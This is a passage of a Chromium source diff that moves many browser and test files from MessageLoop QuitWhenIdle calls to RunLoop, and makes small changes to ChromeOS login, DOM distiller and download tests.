--- a/chrome/browser/chromeos/login/bluetooth_host_pairing_browsertest.cc
+++ b/chrome/browser/chromeos/login/bluetooth_host_pairing_browsertest.cc
@@ -58,9 +58,12 @@
 // The device will put itself in Bluetooth discoverable mode.
 class BluetoothHostPairingNoInputTest : public OobeBaseTest {
  public:
-  void OnConnectSuccess() { message_loop_.QuitWhenIdle(); }
-  void OnConnectFailed(device::BluetoothDevice::ConnectErrorCode error) {
-    message_loop_.QuitWhenIdle();
+  void OnConnectSuccess(base::OnceClosure continuation_callback) {
+    std::move(continuation_callback).Run();
+  }
+  void OnConnectFailed(base::OnceClosure continuation_callback,
+                       device::BluetoothDevice::ConnectErrorCode error) {
+    std::move(continuation_callback).Run();
   }
 
  protected:
@@ -212,12 +215,14 @@
   EXPECT_FALSE(device->IsPaired());
   EXPECT_EQ(3U, bluetooth_adapter()->GetDevices().size());
 
-  device->Connect(controller(),
-                  base::Bind(&BluetoothHostPairingNoInputTest::OnConnectSuccess,
-                             base::Unretained(this)),
-                  base::Bind(&BluetoothHostPairingNoInputTest::OnConnectFailed,
-                             base::Unretained(this)));
-  base::RunLoop().Run();
+  base::RunLoop run_loop;
+  device->Connect(
+      controller(),
+      base::Bind(&BluetoothHostPairingNoInputTest::OnConnectSuccess,
+                 base::Unretained(this), run_loop.QuitWhenIdleClosure()),
+      base::Bind(&BluetoothHostPairingNoInputTest::OnConnectFailed,
+                 base::Unretained(this), run_loop.QuitWhenIdleClosure()));
+  run_loop.Run();
   EXPECT_TRUE(device->IsPaired());
 
   ResetController();
diff --git a/chrome/browser/chromeos/login/chrome_restart_request.cc b/chrome/browser/chromeos/login/chrome_restart_request.cc
index 7ac532c..c15b87d7 100644
--- a/chrome/browser/chromeos/login/chrome_restart_request.cc
+++ b/chrome/browser/chromeos/login/chrome_restart_request.cc
@@ -248,10 +248,6 @@
   chrome::AttemptUserExit();
 }
 
-// Empty function that run by the local state task runner to ensure last
-// commit goes through.
-void EnsureLocalStateIsWritten() {}
-
 // Wraps the work of sending chrome restart request to session manager.
 // If local state is present, try to commit it first. The request is fired when
 // the commit goes through or some time (3 seconds) has elapsed.
@@ -290,29 +286,13 @@
   // Write exit_cleanly and other stuff to the disk here.
   g_browser_process->EndSession();
 
-  PrefService* local_state = g_browser_process->local_state();
-  if (!local_state) {
-    RestartJob();
-    return;
-  }
-
   // XXX: normally this call must not be needed, however RestartJob
   // just kills us so settings may be lost. See http://crosbug.com/13102
-  local_state->CommitPendingWrite();
+  g_browser_process->FlushLocalStateAndReply(
+      base::BindOnce(&ChromeRestartRequest::RestartJob, AsWeakPtr()));
   timer_.Start(
       FROM_HERE, base::TimeDelta::FromSeconds(3), this,
       &ChromeRestartRequest::RestartJob);
-
-  // Post a task to local state task runner thus it occurs last on the task
-  // queue, so it would be executed after committing pending write on that
-  // thread.
-  scoped_refptr<base::SequencedTaskRunner> local_state_task_runner =
-      JsonPrefStore::GetTaskRunnerForFile(
-          base::FilePath(chrome::kLocalStorePoolName),
-          BrowserThread::GetBlockingPool());
-  local_state_task_runner->PostTaskAndReply(
-      FROM_HERE, base::BindOnce(&EnsureLocalStateIsWritten),
-      base::BindOnce(&ChromeRestartRequest::RestartJob, AsWeakPtr()));
 }
 
 void ChromeRestartRequest::RestartJob() {
diff --git a/chrome/browser/chromeos/login/existing_user_controller.cc b/chrome/browser/chromeos/login/existing_user_controller.cc
index 0f6955f..e87ce0a 100644
--- a/chrome/browser/chromeos/login/existing_user_controller.cc
+++ b/chrome/browser/chromeos/login/existing_user_controller.cc
@@ -1038,7 +1038,12 @@
     if (!DecodeMigrationActionFromPolicy(policy_payload.get(), &action)) {
       // User policy was present, but the EcryptfsMigrationStrategy policy value
       // was not there. Stay on the safe side and don't start migration.
-      action = EcryptfsMigrationAction::DISALLOW_ARC_NO_MIGRATION;
+
+      // TODO(pmarko): bug747930: Temporarily, we default to ASK_USER for
+      // managed users who don't have the policy value, so testing migration is
+      // possible before the policy is supported server-side. This must be
+      // reverted before M61 goes stable.
+      action = EcryptfsMigrationAction::ASK_USER;
     }
   } else {
     // We don't know if the user has policy or not. Stay on the safe side and
diff --git a/chrome/browser/chromeos/login/lock/screen_locker_browsertest.cc b/chrome/browser/chromeos/login/lock/screen_locker_browsertest.cc
index 018dde3..1fe43ee 100644
--- a/chrome/browser/chromeos/login/lock/screen_locker_browsertest.cc
+++ b/chrome/browser/chromeos/login/lock/screen_locker_browsertest.cc
@@ -10,6 +10,7 @@
 #include "base/command_line.h"
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "chrome/browser/chrome_notification_types.h"
 #include "chrome/browser/chromeos/login/lock/screen_locker_tester.h"
 #include "chrome/browser/chromeos/login/ui/user_adding_screen.h"
@@ -65,7 +66,7 @@
     DCHECK(type == chrome::NOTIFICATION_SCREEN_LOCK_STATE_CHANGED ||
            type == chrome::NOTIFICATION_FULLSCREEN_CHANGED);
     if (running_)
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   // Wait until the two conditions are met.
diff --git a/chrome/browser/chromeos/login/lock/screen_locker_tester.cc b/chrome/browser/chromeos/login/lock/screen_locker_tester.cc
index b540527a..edd5436 100644
--- a/chrome/browser/chromeos/login/lock/screen_locker_tester.cc
+++ b/chrome/browser/chromeos/login/lock/screen_locker_tester.cc
@@ -8,6 +8,7 @@
 
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/string_util.h"
 #include "base/strings/stringprintf.h"
 #include "base/strings/utf_string_conversions.h"
@@ -84,7 +85,7 @@
 void LoginAttemptObserver::LoginAttempted() {
   login_attempted_ = true;
   if (waiting_)
-    base::MessageLoopForUI::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 }  // anyonymous namespace
diff --git a/chrome/browser/chromeos/login/screenshot_testing/screenshot_tester.cc b/chrome/browser/chromeos/login/screenshot_testing/screenshot_tester.cc
index 448d48a3..b6fcb74c 100644
--- a/chrome/browser/chromeos/login/screenshot_testing/screenshot_tester.cc
+++ b/chrome/browser/chromeos/login/screenshot_testing/screenshot_tester.cc
@@ -11,7 +11,7 @@
 #include "base/command_line.h"
 #include "base/files/file_util.h"
 #include "base/run_loop.h"
-#include "base/threading/sequenced_worker_pool.h"
+#include "base/task_scheduler/post_task.h"
 #include "chrome/browser/chromeos/login/screenshot_testing/SkDiffPixelsMetric.h"
 #include "chrome/browser/chromeos/login/screenshot_testing/SkImageDiffer.h"
 #include "chrome/browser/chromeos/login/screenshot_testing/SkPMetric.h"
@@ -200,11 +200,12 @@
   return true;
 }
 
-void ScreenshotTester::ReturnScreenshot(PNGFile* screenshot, PNGFile png_data) {
+void ScreenshotTester::ReturnScreenshot(base::RunLoop* run_loop,
+                                        PNGFile* screenshot,
+                                        PNGFile png_data) {
   DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
   *screenshot = png_data;
-  content::BrowserThread::PostTask(
-      content::BrowserThread::UI, FROM_HERE, run_loop_quitter_);
+  run_loop->Quit();
 }
 
 ScreenshotTester::PNGFile ScreenshotTester::TakeScreenshot() {
@@ -212,12 +213,15 @@
   aura::Window* primary_window = ash::Shell::GetPrimaryRootWindow();
   gfx::Rect rect = primary_window->bounds();
   PNGFile screenshot;
-  ui::GrabWindowSnapshotAsyncPNG(
-      primary_window, rect, content::BrowserThread::GetBlockingPool(),
-      base::Bind(&ScreenshotTester::ReturnScreenshot,
-                 weak_factory_.GetWeakPtr(), &screenshot));
   base::RunLoop run_loop;
-  run_loop_quitter_ = run_loop.QuitClosure();
+  ui::GrabWindowSnapshotAsyncPNG(
+      primary_window, rect,
+      base::CreateTaskRunnerWithTraits(
+          {base::MayBlock(), base::TaskPriority::USER_VISIBLE,
+           base::TaskShutdownBehavior::SKIP_ON_SHUTDOWN}),
+      base::Bind(&ScreenshotTester::ReturnScreenshot,
+                 weak_factory_.GetWeakPtr(), base::Unretained(&run_loop),
+                 &screenshot));
   run_loop.Run();
   return screenshot;
 }
diff --git a/chrome/browser/chromeos/login/screenshot_testing/screenshot_tester.h b/chrome/browser/chromeos/login/screenshot_testing/screenshot_tester.h
index eafd43e..1dd26b6 100644
--- a/chrome/browser/chromeos/login/screenshot_testing/screenshot_tester.h
+++ b/chrome/browser/chromeos/login/screenshot_testing/screenshot_tester.h
@@ -8,13 +8,16 @@
 #include <string>
 #include <vector>
 
-#include "base/callback.h"
 #include "base/files/file_path.h"
 #include "base/macros.h"
 #include "base/memory/ref_counted_memory.h"
 #include "base/memory/weak_ptr.h"
 #include "third_party/skia/include/core/SkBitmap.h"
 
+namespace base {
+class RunLoop;
+}
+
 namespace chromeos {
 
 // A class that allows taking, saving and comparing screnshots while
@@ -106,7 +109,9 @@
   void LogComparisonResults(const ScreenshotTester::Result& result);
 
   // Saves |png_data| as a current screenshot.
-  void ReturnScreenshot(PNGFile* screenshot, PNGFile png_data);
+  void ReturnScreenshot(base::RunLoop* run_loop,
+                        PNGFile* screenshot,
+                        PNGFile png_data);
 
   // Loads golden screenshot from the disk, assuming it lies at |image_path|.
   // Fails if there is no such a file.
@@ -137,10 +142,6 @@
   // and difference between them and golden ones will be stored.
   base::FilePath artifacts_dir_;
 
-  // |run_loop_quitter_| is used to stop waiting when
-  // ui::GrabWindowSnapshotAsyncPNG completes.
-  base::Closure run_loop_quitter_;
-
   // Is true when we're in test mode:
   // comparing golden screenshots and current ones.
   bool test_mode_;
diff --git a/chrome/browser/chromeos/login/session/chrome_session_manager.cc b/chrome/browser/chromeos/login/session/chrome_session_manager.cc
index 709b98b..e9474c0 100644
--- a/chrome/browser/chromeos/login/session/chrome_session_manager.cc
+++ b/chrome/browser/chromeos/login/session/chrome_session_manager.cc
@@ -113,10 +113,6 @@
 
     arc::ArcServiceLauncher::Get()->OnPrimaryUserProfilePrepared(user_profile);
 
-    TetherService* tether_service = TetherService::Get(user_profile);
-    if (tether_service)
-      tether_service->StartTetherIfEnabled();
-
     // Send the PROFILE_PREPARED notification and call SessionStarted()
     // so that the Launcher and other Profile dependent classes are created.
     content::NotificationService::current()->Notify(
@@ -144,6 +140,10 @@
     // restore Sync.
     UserSessionManager::GetInstance()->RestoreAuthenticationSession(
         user_profile);
+
+    TetherService* tether_service = TetherService::Get(user_profile);
+    if (tether_service)
+      tether_service->StartTetherIfEnabled();
   }
 }
 
diff --git a/chrome/browser/chromeos/login/ui/login_display_host_impl.cc b/chrome/browser/chromeos/login/ui/login_display_host_impl.cc
index 4d64966d..37d3b2cc 100644
--- a/chrome/browser/chromeos/login/ui/login_display_host_impl.cc
+++ b/chrome/browser/chromeos/login/ui/login_display_host_impl.cc
@@ -16,7 +16,7 @@
 #include "base/location.h"
 #include "base/logging.h"
 #include "base/macros.h"
-#include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/strings/string_split.h"
 #include "base/strings/utf_string_conversions.h"
@@ -1064,7 +1064,7 @@
   registrar_.RemoveAll();
   base::ThreadTaskRunnerHandle::Get()->DeleteSoon(FROM_HERE, this);
   if (post_quit_task)
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void LoginDisplayHostImpl::ScheduleWorkspaceAnimation() {
diff --git a/chrome/browser/chromeos/login/users/wallpaper/wallpaper_manager_test_utils.cc b/chrome/browser/chromeos/login/users/wallpaper/wallpaper_manager_test_utils.cc
index 63adfc94..dbf54fc2 100644
--- a/chrome/browser/chromeos/login/users/wallpaper/wallpaper_manager_test_utils.cc
+++ b/chrome/browser/chromeos/login/users/wallpaper/wallpaper_manager_test_utils.cc
@@ -12,7 +12,6 @@
 #include "base/files/scoped_temp_dir.h"
 #include "base/logging.h"
 #include "base/macros.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/threading/thread_restrictions.h"
 #include "base/time/time.h"
@@ -43,7 +42,7 @@
 
   void OnPendingListEmptyForTesting() override {
     empty_ = true;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void WaitForPendingListEmpty() {
diff --git a/chrome/browser/chromeos/night_light/OWNERS b/chrome/browser/chromeos/night_light/OWNERS
index 1bfdf742..111b3ba 100644
--- a/chrome/browser/chromeos/night_light/OWNERS
+++ b/chrome/browser/chromeos/night_light/OWNERS
@@ -1,2 +1 @@
 afakhry@chromium.org
-jamescook@chromium.org
\ No newline at end of file
diff --git a/chrome/browser/devtools/device/adb/adb_client_socket_browsertest.cc b/chrome/browser/devtools/device/adb/adb_client_socket_browsertest.cc
index 3da5dc8..44db994 100644
--- a/chrome/browser/devtools/device/adb/adb_client_socket_browsertest.cc
+++ b/chrome/browser/devtools/device/adb/adb_client_socket_browsertest.cc
@@ -3,6 +3,7 @@
 // found in the LICENSE file.
 
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "chrome/browser/devtools/device/adb/adb_device_provider.h"
 #include "chrome/browser/devtools/device/adb/mock_adb_server.h"
 #include "chrome/browser/devtools/device/devtools_android_bridge.h"
@@ -41,7 +42,7 @@
       const DevToolsAndroidBridge::RemoteDevices& devices) override {
     devices_ = devices;
     android_bridge_->RemoveDeviceListListener(this);
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void CheckDevices() {
diff --git a/chrome/browser/devtools/device/usb/android_usb_browsertest.cc b/chrome/browser/devtools/device/usb/android_usb_browsertest.cc
index dec93df..e8b54c7 100644
--- a/chrome/browser/devtools/device/usb/android_usb_browsertest.cc
+++ b/chrome/browser/devtools/device/usb/android_usb_browsertest.cc
@@ -12,6 +12,7 @@
 #include "base/location.h"
 #include "base/memory/ptr_util.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/strings/utf_string_conversions.h"
 #include "base/threading/thread_task_runner_handle.h"
@@ -625,7 +626,7 @@
     Shutdown();
   }
 
-  void Shutdown() { base::MessageLoop::current()->QuitWhenIdle(); }
+  void Shutdown() { base::RunLoop::QuitCurrentWhenIdleDeprecated(); }
 
   DevToolsAndroidBridge* adb_bridge_;
   int invoked_;
diff --git a/chrome/browser/devtools/devtools_file_system_indexer_unittest.cc b/chrome/browser/devtools/devtools_file_system_indexer_unittest.cc
index 350b15e..029c360 100644
--- a/chrome/browser/devtools/devtools_file_system_indexer_unittest.cc
+++ b/chrome/browser/devtools/devtools_file_system_indexer_unittest.cc
@@ -6,7 +6,6 @@
 
 #include "base/bind.h"
 #include "base/files/file_util.h"
-#include "base/message_loop/message_loop.h"
 #include "base/path_service.h"
 #include "base/run_loop.h"
 #include "chrome/browser/devtools/devtools_file_system_indexer.h"
@@ -18,7 +17,7 @@
  public:
   void SetDone() {
     indexing_done_ = true;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void SearchCallback(const std::vector<std::string>& results) {
@@ -27,7 +26,7 @@
       search_results_.insert(
           base::FilePath::FromUTF8Unsafe(result).BaseName().AsUTF8Unsafe());
     }
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  protected:
diff --git a/chrome/browser/devtools/devtools_sanity_browsertest.cc b/chrome/browser/devtools/devtools_sanity_browsertest.cc
index d024f1b6..4d21cead 100644
--- a/chrome/browser/devtools/devtools_sanity_browsertest.cc
+++ b/chrome/browser/devtools/devtools_sanity_browsertest.cc
@@ -18,6 +18,7 @@
 #include "base/memory/ref_counted.h"
 #include "base/message_loop/message_loop.h"
 #include "base/path_service.h"
+#include "base/run_loop.h"
 #include "base/single_thread_task_runner.h"
 #include "base/strings/string_number_conversions.h"
 #include "base/strings/string_util.h"
@@ -459,7 +460,7 @@
 
 void TimeoutCallback(const std::string& timeout_message) {
   ADD_FAILURE() << timeout_message;
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 // Base class for DevTools tests that test devtools functionality for
@@ -635,7 +636,7 @@
                const content::NotificationDetails& details) override {
     DCHECK_EQ(extensions::NOTIFICATION_EXTENSION_HOST_DID_STOP_FIRST_LOAD,
               type);
-    base::MessageLoopForUI::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   std::vector<std::unique_ptr<extensions::TestExtensionDir>>
diff --git a/chrome/browser/dom_distiller/tab_utils.cc b/chrome/browser/dom_distiller/tab_utils.cc
index a02c1bb..2ba264a 100644
--- a/chrome/browser/dom_distiller/tab_utils.cc
+++ b/chrome/browser/dom_distiller/tab_utils.cc
@@ -171,15 +171,21 @@
   MaybeStartDistillation(std::move(source_page_handle));
 }
 
-void DistillAndView(content::WebContents* source_web_contents,
-                    content::WebContents* destination_web_contents) {
+void DistillCurrentPage(content::WebContents* source_web_contents) {
   DCHECK(source_web_contents);
-  DCHECK(destination_web_contents);
 
   std::unique_ptr<SourcePageHandleWebContents> source_page_handle(
       new SourcePageHandleWebContents(source_web_contents, false));
 
   MaybeStartDistillation(std::move(source_page_handle));
+}
+
+void DistillAndView(content::WebContents* source_web_contents,
+                    content::WebContents* destination_web_contents) {
+  DCHECK(destination_web_contents);
+
+  DistillCurrentPage(source_web_contents);
+
   StartNavigationToDistillerViewer(destination_web_contents,
                                    source_web_contents->GetLastCommittedURL());
 }
diff --git a/chrome/browser/dom_distiller/tab_utils.h b/chrome/browser/dom_distiller/tab_utils.h
index ab05a5a56..e5364bb7 100644
--- a/chrome/browser/dom_distiller/tab_utils.h
+++ b/chrome/browser/dom_distiller/tab_utils.h
@@ -14,6 +14,10 @@
 // takes ownership over the old WebContents after swapping in the new one.
 void DistillCurrentPageAndView(content::WebContents* old_web_contents);
 
+// Starts distillation in the |source_web_contents|. The viewer needs to be
+// created separatly.
+void DistillCurrentPage(content::WebContents* source_web_contents);
+
 // Starts distillation in the |source_web_contents| while navigating the
 // |destination_web_contents| to view the distilled content. This does not take
 // ownership of any WebContents.
diff --git a/chrome/browser/dom_distiller/tab_utils_android.cc b/chrome/browser/dom_distiller/tab_utils_android.cc
index 4f75a9d..d070eec 100644
--- a/chrome/browser/dom_distiller/tab_utils_android.cc
+++ b/chrome/browser/dom_distiller/tab_utils_android.cc
@@ -9,6 +9,7 @@
 #include "chrome/browser/profiles/profile.h"
 #include "chrome/browser/profiles/profile_manager.h"
 #include "components/dom_distiller/core/experiments.h"
+#include "components/navigation_interception/intercept_navigation_delegate.h"
 #include "components/url_formatter/url_formatter.h"
 #include "content/public/browser/web_contents.h"
 #include "content/public/common/content_constants.h"
@@ -28,6 +29,14 @@
   ::DistillCurrentPageAndView(web_contents);
 }
 
+void DistillCurrentPage(JNIEnv* env,
+                        const JavaParamRef<jclass>& clazz,
+                        const JavaParamRef<jobject>& j_source_web_contents) {
+  content::WebContents* source_web_contents =
+      content::WebContents::FromJavaWebContents(j_source_web_contents);
+  ::DistillCurrentPage(source_web_contents);
+}
+
 void DistillAndView(JNIEnv* env,
                     const JavaParamRef<jclass>& clazz,
                     const JavaParamRef<jobject>& j_source_web_contents,
@@ -73,4 +82,18 @@
       == dom_distiller::DistillerHeuristicsType::ALWAYS_TRUE;
 }
 
+void SetInterceptNavigationDelegate(
+    JNIEnv* env,
+    const JavaParamRef<jclass>& clazz,
+    const JavaParamRef<jobject>& delegate,
+    const JavaParamRef<jobject>& j_web_contents) {
+  content::WebContents* web_contents =
+      content::WebContents::FromJavaWebContents(j_web_contents);
+  DCHECK(web_contents);
+  navigation_interception::InterceptNavigationDelegate::Associate(
+      web_contents,
+      base::MakeUnique<navigation_interception::InterceptNavigationDelegate>(
+          env, delegate));
+}
+
 }  // namespace android
diff --git a/chrome/browser/download/download_browsertest.cc b/chrome/browser/download/download_browsertest.cc
index b7b014a..b3d47ee 100644
--- a/chrome/browser/download/download_browsertest.cc
+++ b/chrome/browser/download/download_browsertest.cc
@@ -25,6 +25,7 @@
 #include "base/memory/ref_counted.h"
 #include "base/message_loop/message_loop.h"
 #include "base/path_service.h"
+#include "base/run_loop.h"
 #include "base/strings/string_number_conversions.h"
 #include "base/strings/string_split.h"
 #include "base/strings/string_util.h"
@@ -163,7 +164,7 @@
                          content::DownloadItem* item) override {
     DCHECK_EQ(manager_, manager);
     if (waiting_)
-      base::MessageLoopForUI::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   content::DownloadManager* manager_;
@@ -205,10 +206,10 @@
           (item_->PercentComplete() != 100)))) {
       error_ = true;
       if (waiting_)
-        base::MessageLoopForUI::current()->QuitWhenIdle();
+        base::RunLoop::QuitCurrentWhenIdleDeprecated();
     }
     if (item_->GetState() == DownloadItem::COMPLETE && waiting_)
-      base::MessageLoopForUI::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void OnDownloadDestroyed(content::DownloadItem* item) override {
@@ -291,7 +292,7 @@
       std::unique_ptr<std::vector<history::DownloadRow>> entries) {
     result_valid_ = true;
     results_ = std::move(entries);
-    base::MessageLoopForUI::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   Profile* profile_;
@@ -375,7 +376,7 @@
 
     seen_stored_ = true;
     if (waiting_)
-      base::MessageLoopForUI::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void OnDownloadHistoryDestroyed() override {
@@ -3791,9 +3792,7 @@
   observer.WaitForStored();
   HistoryServiceFactory::GetForProfile(browser()->profile(),
                                        ServiceAccessType::IMPLICIT_ACCESS)
-      ->FlushForTest(base::Bind(
-          &base::MessageLoop::QuitWhenIdle,
-          base::Unretained(base::MessageLoop::current()->current())));
+      ->FlushForTest(base::Bind(&base::RunLoop::QuitCurrentWhenIdleDeprecated));
   content::RunMessageLoop();
 }
 
diff --git a/chrome/browser/engagement/important_sites_usage_counter_unittest.cc b/chrome/browser/engagement/important_sites_usage_counter_unittest.cc
index 252221f..a587469 100644
--- a/chrome/browser/engagement/important_sites_usage_counter_unittest.cc
+++ b/chrome/browser/engagement/important_sites_usage_counter_unittest.cc
@@ -7,13 +7,13 @@
 #include "base/files/file_path.h"
 #include "base/files/file_util.h"
 #include "base/files/scoped_temp_dir.h"
-#include "base/run_loop.h"
 #include "base/test/histogram_tester.h"
 #include "chrome/browser/bookmarks/bookmark_model_factory.h"
 #include "chrome/test/base/testing_profile.h"
 #include "content/public/browser/browser_thread.h"
 #include "content/public/browser/storage_partition.h"
 #include "content/public/test/test_browser_thread_bundle.h"
+#include "content/public/test/test_utils.h"
 #include "storage/browser/quota/quota_manager_proxy.h"
 #include "storage/browser/test/mock_storage_client.h"
 #include "testing/gtest/include/gtest/gtest.h"
@@ -30,15 +30,14 @@
     run_loop_.reset(new base::RunLoop());
   }
 
-  void TearDown() override { base::RunLoop().RunUntilIdle(); }
+  void TearDown() override { content::RunAllBlockingPoolTasksUntilIdle(); }
 
   TestingProfile* profile() { return &profile_; }
 
   QuotaManager* CreateQuotaManager() {
     quota_manager_ = new QuotaManager(
         false, temp_dir_.GetPath(),
-        BrowserThread::GetTaskRunnerForThread(BrowserThread::IO).get(),
-        BrowserThread::GetTaskRunnerForThread(BrowserThread::DB).get(), nullptr,
+        BrowserThread::GetTaskRunnerForThread(BrowserThread::IO).get(), nullptr,
         storage::GetQuotaSettingsFunc());
     return quota_manager_.get();
   }
diff --git a/chrome/browser/extensions/activity_log/counting_policy_unittest.cc b/chrome/browser/extensions/activity_log/counting_policy_unittest.cc
index d6b4131..3672e87 100644
--- a/chrome/browser/extensions/activity_log/counting_policy_unittest.cc
+++ b/chrome/browser/extensions/activity_log/counting_policy_unittest.cc
@@ -159,7 +159,7 @@
   }
 
   static void TimeoutCallback() {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
     FAIL() << "Policy test timed out waiting for results";
   }
 
diff --git a/chrome/browser/extensions/activity_log/fullstream_ui_policy_unittest.cc b/chrome/browser/extensions/activity_log/fullstream_ui_policy_unittest.cc
index c0850d7a..2b27d22 100644
--- a/chrome/browser/extensions/activity_log/fullstream_ui_policy_unittest.cc
+++ b/chrome/browser/extensions/activity_log/fullstream_ui_policy_unittest.cc
@@ -124,7 +124,7 @@
   }
 
   static void TimeoutCallback() {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
     FAIL() << "Policy test timed out waiting for results";
   }
 
diff --git a/chrome/browser/extensions/api/downloads/downloads_api_browsertest.cc b/chrome/browser/extensions/api/downloads/downloads_api_browsertest.cc
index c65ef3e..282febf 100644
--- a/chrome/browser/extensions/api/downloads/downloads_api_browsertest.cc
+++ b/chrome/browser/extensions/api/downloads/downloads_api_browsertest.cc
@@ -192,7 +192,7 @@
               waiting_for_.get() &&
               new_event->Satisfies(*waiting_for_)) {
             waiting_ = false;
-            base::MessageLoopForUI::current()->QuitWhenIdle();
+            base::RunLoop::QuitCurrentWhenIdleDeprecated();
           }
           break;
         }
diff --git a/chrome/browser/extensions/api/feedback_private/feedback_browsertest.cc b/chrome/browser/extensions/api/feedback_private/feedback_browsertest.cc
index 06edf418..68eeeb3 100644
--- a/chrome/browser/extensions/api/feedback_private/feedback_browsertest.cc
+++ b/chrome/browser/extensions/api/feedback_private/feedback_browsertest.cc
@@ -4,6 +4,7 @@
 
 #include "base/bind.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "chrome/browser/apps/app_browsertest_util.h"
 #include "chrome/browser/browser_process.h"
 #include "chrome/browser/extensions/api/feedback_private/feedback_private_api.h"
@@ -27,7 +28,7 @@
 namespace {
 
 void StopMessageLoopCallback() {
-  base::MessageLoopForUI::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 }  // namespace
diff --git a/chrome/browser/extensions/api/notifications/notifications_apitest.cc b/chrome/browser/extensions/api/notifications/notifications_apitest.cc
index ec2f3e1..ccb20714 100644
--- a/chrome/browser/extensions/api/notifications/notifications_apitest.cc
+++ b/chrome/browser/extensions/api/notifications/notifications_apitest.cc
@@ -3,6 +3,7 @@
 // found in the LICENSE file.
 
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/string_number_conversions.h"
 #include "base/strings/stringprintf.h"
 #include "base/strings/utf_string_conversions.h"
@@ -92,7 +93,7 @@
             .ptr()
             ->user_gesture());
     if (waiting_)
-      base::MessageLoopForUI::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   content::NotificationRegistrar registrar_;
diff --git a/chrome/browser/extensions/api/streams_private/streams_private_apitest.cc b/chrome/browser/extensions/api/streams_private/streams_private_apitest.cc
index 6d3ef05a7..2238cca 100644
--- a/chrome/browser/extensions/api/streams_private/streams_private_apitest.cc
+++ b/chrome/browser/extensions/api/streams_private/streams_private_apitest.cc
@@ -367,8 +367,8 @@
   EXPECT_TRUE(catcher.GetNextResult());
 }
 
-// Flaky on Linux and ChromeOS: http://crbug.com/746526.
-#if defined(OS_LINUX)
+// Flaky on Linux and Win 10: http://crbug.com/746526.
+#if defined(OS_LINUX) || defined(OS_WIN)
 #define MAYBE_DirectDownload DISABLED_DirectDownload
 #else
 #define MAYBE_DirectDownload DirectDownload
diff --git a/chrome/browser/extensions/api/tabs/tabs_test.cc b/chrome/browser/extensions/api/tabs/tabs_test.cc
index 55dd8156..1ae9fbc 100644
--- a/chrome/browser/extensions/api/tabs/tabs_test.cc
+++ b/chrome/browser/extensions/api/tabs/tabs_test.cc
@@ -12,6 +12,7 @@
 #include "apps/test/app_window_waiter.h"
 #include "base/memory/ref_counted.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/pattern.h"
 #include "base/strings/string_split.h"
 #include "base/strings/string_util.h"
@@ -838,7 +839,7 @@
     void OnWidgetActivationChanged(views::Widget* widget,
                                    bool active) override {
       if (widget_ == widget && waiting_) {
-        base::MessageLoopForUI::current()->QuitWhenIdle();
+        base::RunLoop::QuitCurrentWhenIdleDeprecated();
         waiting_ = false;
       }
     }
diff --git a/chrome/browser/extensions/api/top_sites/top_sites_apitest.cc b/chrome/browser/extensions/api/top_sites/top_sites_apitest.cc
index e0f47f99..7c583c47 100644
--- a/chrome/browser/extensions/api/top_sites/top_sites_apitest.cc
+++ b/chrome/browser/extensions/api/top_sites/top_sites_apitest.cc
@@ -4,7 +4,6 @@
 
 #include <stddef.h>
 
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/values.h"
 #include "build/build_config.h"
@@ -58,7 +57,7 @@
  private:
   void OnTopSitesAvailable(const history::MostVisitedURLList& data) {
     if (waiting_) {
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
       waiting_ = false;
     }
     top_sites_inited_ = true;
diff --git a/chrome/browser/extensions/api/webstore_private/webstore_private_apitest.cc b/chrome/browser/extensions/api/webstore_private/webstore_private_apitest.cc
index b29f88d..45f5cc3 100644
--- a/chrome/browser/extensions/api/webstore_private/webstore_private_apitest.cc
+++ b/chrome/browser/extensions/api/webstore_private/webstore_private_apitest.cc
@@ -8,6 +8,7 @@
 #include "base/files/file_util.h"
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/utf_string_conversions.h"
